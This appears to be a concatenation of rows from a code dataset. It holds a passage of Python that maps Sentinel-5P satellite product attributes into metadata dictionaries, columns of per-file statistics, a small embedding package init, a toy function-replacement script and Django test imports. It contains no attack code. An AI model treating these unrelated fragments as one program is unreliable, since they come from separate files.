self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.4.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.5.type'),
],
"aer_lh:irradiance_accompanied":
str(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.irrType')),
}
elif "_CH4_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"ch4:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"ch4:input_band": [
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.2.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.3.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.4.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.5.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.6.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.7.type'),
],
"ch4:irradiance_accompanied": [
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.irrType'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.3.irrType'),
],
}
elif "_CLOUD_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root.time_coverage_end + "Z"),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"cloud:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"cloud:cloud_mode":
str(self._root.cloud_mode),
}
elif "_CO_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"co:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"co:input_band": [
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.2.type')
],
"co:irradiance_accompanied":
str(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.irrType')),
}
elif "_HCHO_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root.time_coverage_end + "Z"),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"hcho:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"hcho:cloud_mode":
str(self._root.cloud_mode)
}
elif "_NO2_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"no2:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"no2:input_band": [
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.2.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.3.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.4.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.5.type'),
],
"no2:irradiance_accompanied":
str(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.irrType')),
}
elif "_O3__" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root.time_coverage_end + "Z"),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"o3:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"o3:cloud_mode":
str(self._root.cloud_mode)
}
elif "O3_TCL" in self.file_path:
result = {
"instruments": [
str(self._root['METADATA/GRANULE_DESCRIPTION'].
InstrumentName.upper())
],
"s5p:processing_mode":
str(self._root['METADATA'].processingMode),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:spatial_resolution":
str(spatial_resolution),
"o3_tcl:shape_ccd": [
int(self._root['PRODUCT'].dimensions['latitude_ccd'].
size),
int(self._root['PRODUCT'].dimensions['longitude_ccd'].
size)
],
"o3_tcl:shape_csa": [
int(self._root['PRODUCT'].dimensions['latitude_csa'].
size),
int(self._root['PRODUCT'].dimensions['longitude_csa'].
size)
],
"o3_tcl:stratosphere_start_datetime":
str(start_datetime[0] + "Z"),
"o3_tcl:stratosphere_end_datetime":
str(self._root.time_coverage_end + "Z"),
"o3_tcl:troposphere_start_datetime":
str(start_datetime[1] + "Z"),
"o3_tcl:troposphere_end_datetime":
str(self._root.time_coverage_troposphere_end + "Z"),
"o3_tcl:input_orbits": [
int(num) for num in
self._root['METADATA'].input_orbits.split(" ")
],
"o3_tcl:input_files": [
file.split("/")[-1].split(".")[0] for file in
self._root['METADATA'].input_files.split(" ")
],
}
elif "_SO2_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root.time_coverage_end + "Z"),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"so2:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"so2:cloud_mode":
str(self._root.cloud_mode)
}
elif "_BD3_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [
str(self._root[
'METADATA/EOP_METADATA/om:procedure/eop:instrument']
.getncattr("eop:shortName"))
],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['BAND3_NPPC/STANDARD_MODE'].
dimensions['scanline'].size),
int(self._root['BAND3_NPPC/STANDARD_MODE'].
dimensions['ground_pixel'].size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"npbd3:analysed_s5p_band":
int(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
"S5P_Band_Number")),
"npbd3:VIIRS_band": [
int(band)
for band in self._root['METADATA/ALGORITHM_SETTINGS'].
getncattr("VIIRS_Bands").split("; ")[:-1]
],
"npbd3:number_of_scaled_fov":
int(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
"Number_of_scaled_FOV"))
}
elif "_BD6_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [
str(self._root[
'METADATA/EOP_METADATA/om:procedure/eop:instrument']
.getncattr("eop:shortName"))
],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['BAND6_NPPC/STANDARD_MODE'].
dimensions['scanline'].size),
int(self._root['BAND6_NPPC/STANDARD_MODE'].
dimensions['ground_pixel'].size)
],
"s5p:spatial_resolution":
spatial_resolution,
"npbd6:analysed_s5p_band":
int(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
"S5P_Band_Number")),
"npbd6:VIIRS_band": [
int(band)
for band in self._root['METADATA/ALGORITHM_SETTINGS'].
getncattr("VIIRS_Bands").split("; ")[:-1]
],
"npbd6:number_of_scaled_fov":
int(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
"Number_of_scaled_FOV"))
}
elif "_BD7_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [
str(self._root[
'METADATA/EOP_METADATA/om:procedure/eop:instrument']
.getncattr("eop:shortName"))
],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['BAND7_NPPC/STANDARD_MODE'].
dimensions['scanline'].size),
int(self._root['BAND7_NPPC/STANDARD_MODE'].
dimensions['ground_pixel'].size)
],
"s5p:spatial_resolution":
spatial_resolution,
"npbd7:analysed_s5p_band":
int(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
"S5P_Band_Number")),
"npbd7:VIIRS_band": [
int(band)
for band in self._root['METADATA/ALGORITHM_SETTINGS'].
getncattr("VIIRS_Bands").split("; ")[:-1]
],
"npbd7:number_of_scaled_fov":
int(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
"Number_of_scaled_FOV"))
}
else:
start_datetime = _get_start_datetime_from_json(
self.file_path, self._root)
observed_after_res_upgraded = _observed_after_res_upgraded(
start_datetime[0])
spatial_resolution = _get_resolution_from_json(
self.file_path, self._root, observed_after_res_upgraded)
if "_AER_AI_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"aer_ai:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"aer_ai:input_band":
str(self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.type']),
"aer_ai:irradiance_accompanied":
str(self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.irrType']),
}
elif "_AER_LH_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"aer_lh:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"aer_lh:input_band": [
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.2.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.3.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.4.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.5.type'],
],
"aer_lh:irradiance_accompanied":
str(self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.irrType']),
}
elif "_CH4_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"ch4:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"ch4:input_band": [
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.2.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.3.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.4.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.5.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.6.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.7.type'],
],
"ch4:irradiance_accompanied": [
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.irrType'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.3.irrType'],
],
}
elif "_CLOUD_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root['time_coverage_end'] + "Z"),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"cloud:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"cloud:cloud_mode":
str(self._root['cloud_mode']),
}
elif "_CO_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"co:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"co:input_band": [
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.type'], self._root['METADATA']
['ALGORITHM_SETTINGS']['input.2.type']
],
"co:irradiance_accompanied":
str(self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.irrType']),
}
elif "_HCHO_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root['time_coverage_end'] + "Z"),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"hcho:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"hcho:cloud_mode":
str(self._root['cloud_mode'])
}
elif "_NO2_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"no2:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"no2:input_band": [
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.2.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.3.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.4.type'],
self._root['METADATA']['ALGORITHM_SETTINGS']
['input.5.type'],
],
"no2:irradiance_accompanied":
str(self._root['METADATA']['ALGORITHM_SETTINGS']
['input.1.irrType']),
}
elif "_O3__" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root['time_coverage_end'] + "Z"),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"o3:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"o3:cloud_mode":
str(self._root['cloud_mode'])
}
elif "O3_TCL" in self.file_path:
result = {
"instruments": [
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['InstrumentName'].upper())
],
"s5p:processing_mode":
str(self._root['METADATA']['processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:spatial_resolution":
str(spatial_resolution),
"o3_tcl:shape_ccd": [
int(self._root['PRODUCT']['dimensions']
['latitude_ccd']),
int(self._root['PRODUCT']['dimensions']
['longitude_ccd'])
],
"o3_tcl:shape_csa": [
int(self._root['PRODUCT']['dimensions']
['latitude_csa']),
int(self._root['PRODUCT']['dimensions']
['longitude_csa'])
],
"o3_tcl:stratosphere_start_datetime":
str(start_datetime[0] + "Z"),
"o3_tcl:stratosphere_end_datetime":
str(self._root['time_coverage_end'] + "Z"),
"o3_tcl:troposphere_start_datetime":
str(start_datetime[1] + "Z"),
"o3_tcl:troposphere_end_datetime":
str(self._root['time_coverage_troposphere_end'] + "Z"),
"o3_tcl:input_orbits": [
int(num) for num in self._root['METADATA']
['input_orbits'].split(" ")
],
"o3_tcl:input_files": [
file.split("/")[-1].split(".")[0] for file in
self._root['METADATA']['input_files'].split(" ")
],
}
elif "_SO2_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0] + "Z"),
"end_datetime":
str(self._root['time_coverage_end'] + "Z"),
"instruments": [str(self._root['sensor'])],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:shape": [
int(self._root['PRODUCT']['dimensions']['scanline']),
int(self._root['PRODUCT']['dimensions']
['ground_pixel']),
],
"s5p:spatial_resolution":
str(spatial_resolution),
"so2:geolocation_grid_from_band":
int(self._root['geolocation_grid_from_band']),
"so2:cloud_mode":
str(self._root['cloud_mode'])
}
elif "_BD3_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [
str(self._root['METADATA']['EOP_METADATA'][
'om:procedure']['eop:instrument']['eop:shortName'])
],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:spatial_resolution":
str(spatial_resolution),
"s5p:shape": [
int(self._root['BAND3_NPPC']['STANDARD_MODE']
['dimensions']['scanline']),
int(self._root['BAND3_NPPC']['STANDARD_MODE']
['dimensions']['ground_pixel']),
],
"npbd3:analysed_s5p_band":
int(self._root['METADATA']['ALGORITHM_SETTINGS']
['S5P_Band_Number']),
"npbd3:VIIRS_band": [
int(band) for band in self._root['METADATA']
['ALGORITHM_SETTINGS']['VIIRS_Bands'].split('; ')[:-1]
],
"npbd3:number_of_scaled_fov":
int(self._root['METADATA']['ALGORITHM_SETTINGS']
['Number_of_scaled_FOV'])
}
elif "_BD6_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [
str(self._root['METADATA']['EOP_METADATA'][
'om:procedure']['eop:instrument']['eop:shortName'])
],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:spatial_resolution":
str(spatial_resolution),
"s5p:shape": [
int(self._root['BAND6_NPPC']['STANDARD_MODE']
['dimensions']['scanline']),
int(self._root['BAND6_NPPC']['STANDARD_MODE']
['dimensions']['ground_pixel']),
],
"npbd6:analysed_s5p_band":
int(self._root['METADATA']['ALGORITHM_SETTINGS']
['S5P_Band_Number']),
"npbd6:VIIRS_band": [
int(band) for band in self._root['METADATA']
['ALGORITHM_SETTINGS']['VIIRS_Bands'].split('; ')[:-1]
],
"npbd6:number_of_scaled_fov":
int(self._root['METADATA']['ALGORITHM_SETTINGS']
['Number_of_scaled_FOV'])
}
elif "_BD7_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root['time_coverage_end']),
"instruments": [
str(self._root['METADATA']['EOP_METADATA'][
'om:procedure']['eop:instrument']['eop:shortName'])
],
"s5p:processing_mode":
str(self._root['METADATA']['EOP_METADATA']
['eop:metaDataProperty']['eop:processing']
['eop:processingMode']),
"s5p:product_type":
str(self._root['METADATA']['GRANULE_DESCRIPTION']
['ProductShortName']),
"s5p:spatial_resolution":
str(spatial_resolution),
"s5p:shape": [
int(self._root['BAND7_NPPC']['STANDARD_MODE']
['dimensions']['scanline']),
int(self._root['BAND7_NPPC']['STANDARD_MODE']
['dimensions']['ground_pixel']),
],
"npbd7:analysed_s5p_band":
int(self._root['METADATA']['ALGORITHM_SETTINGS']
['S5P_Band_Number']),
"npbd7:VIIRS_band": [
int(band) for band in self._root['METADATA']
['ALGORITHM_SETTINGS']['VIIRS_Bands'].split("; ")[:-1]
],
"npbd7:number_of_scaled_fov":
int(self._root['METADATA']['ALGORITHM_SETTINGS']
['Number_of_scaled_FOV'])
}
return {k: v for k, v in result.items() if v is not None}
| 48.264
| 89
| 0.45124
| 4,297
| 54,297
| 5.385152
| 0.053991
| 0.097494
| 0.096802
| 0.060761
| 0.918453
| 0.910717
| 0.904408
| 0.889758
| 0.87567
| 0.868366
| 0
| 0.011812
| 0.435567
| 54,297
| 1,124
| 90
| 48.30694
| 0.743238
| 0.001823
| 0
| 0.822566
| 0
| 0
| 0.262244
| 0.088706
| 0
| 0
| 0
| 0
| 0
| 1
| 0.012739
| false
| 0.00091
| 0.00546
| 0.00091
| 0.031847
| 0.011829
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
04e156fe69ce4bf0943ae404760afb659d649a06
| 121
|
py
|
Python
|
tf_kit/lattice/core/embedding/__init__.py
|
lyssym/NER-toolkits
|
c6368c6fa33761cf6b82e4616cc6705aad052130
|
[
"MIT"
] | 1
|
2019-06-18T07:22:57.000Z
|
2019-06-18T07:22:57.000Z
|
tf_kit/lattice/core/embedding/__init__.py
|
lyssym/NER-toolkits
|
c6368c6fa33761cf6b82e4616cc6705aad052130
|
[
"MIT"
] | null | null | null |
tf_kit/lattice/core/embedding/__init__.py
|
lyssym/NER-toolkits
|
c6368c6fa33761cf6b82e4616cc6705aad052130
|
[
"MIT"
] | 2
|
2019-06-18T07:22:58.000Z
|
2019-11-28T07:49:34.000Z
|
# _*_ coding: utf-8 _*_
from . import GloveEmbeddings
from . import GloveEmbeddingsPassOOV
from . import WordEmbeddings
| 20.166667
| 36
| 0.785124
| 12
| 121
| 7.583333
| 0.666667
| 0.32967
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009709
| 0.14876
| 121
| 5
| 37
| 24.2
| 0.873786
| 0.173554
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
b6bbab34d51cb448f0c94a597df9afef95525459
| 199
|
py
|
Python
|
Experiments/overrider/ReplacerB.py
|
joelliusp/SpaceHabit
|
5656ef4d9c57f3e58d0ed756a3aa754c8a7dd6a5
|
[
"MIT"
] | null | null | null |
Experiments/overrider/ReplacerB.py
|
joelliusp/SpaceHabit
|
5656ef4d9c57f3e58d0ed756a3aa754c8a7dd6a5
|
[
"MIT"
] | 13
|
2016-07-19T04:13:20.000Z
|
2016-08-17T06:06:47.000Z
|
Experiments/overrider/ReplacerB.py
|
joelliusp/SpaceHabit
|
5656ef4d9c57f3e58d0ed756a3aa754c8a7dd6a5
|
[
"MIT"
] | null | null | null |
import Top
print("Importing replacer B")
def counterfeit_print_one():
print("counterfeit 1")
def replace():
Top.print_one = counterfeit_print_one
def call_print_one():
Top.print_one()
| 16.583333
| 41
| 0.728643
| 28
| 199
| 4.892857
| 0.428571
| 0.291971
| 0.277372
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005988
| 0.160804
| 199
| 12
| 42
| 16.583333
| 0.814371
| 0
| 0
| 0
| 0
| 0
| 0.165
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.375
| true
| 0
| 0.25
| 0
| 0.625
| 0.75
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 1
|
0
| 7
|
8e10bbe6418c90cfdd556d34382136d98b4f28c0
| 69,132
|
py
|
Python
|
tests/tests_equipment_integration.py
|
Open-CMMS/openCMMS_backend
|
56511ebac83a5dc1fb8768a98bc675e88530a447
|
[
"BSD-3-Clause"
] | 3
|
2021-03-08T19:14:38.000Z
|
2022-02-01T17:57:31.000Z
|
tests/tests_equipment_integration.py
|
Open-CMMS/openCMMS_backend
|
56511ebac83a5dc1fb8768a98bc675e88530a447
|
[
"BSD-3-Clause"
] | null | null | null |
tests/tests_equipment_integration.py
|
Open-CMMS/openCMMS_backend
|
56511ebac83a5dc1fb8768a98bc675e88530a447
|
[
"BSD-3-Clause"
] | null | null | null |
from io import BytesIO
import pytest
from init_db_tests import init_db
from PIL import Image
from django.contrib.auth.models import Permission
from django.test import TestCase
from maintenancemanagement.models import (
Equipment,
EquipmentType,
Field,
FieldGroup,
FieldObject,
FieldValue,
)
from maintenancemanagement.serializers import (
EquipmentDetailsSerializer,
EquipmentListingSerializer,
)
from openCMMS import settings
from rest_framework.test import APIClient
from usersmanagement.models import UserProfile
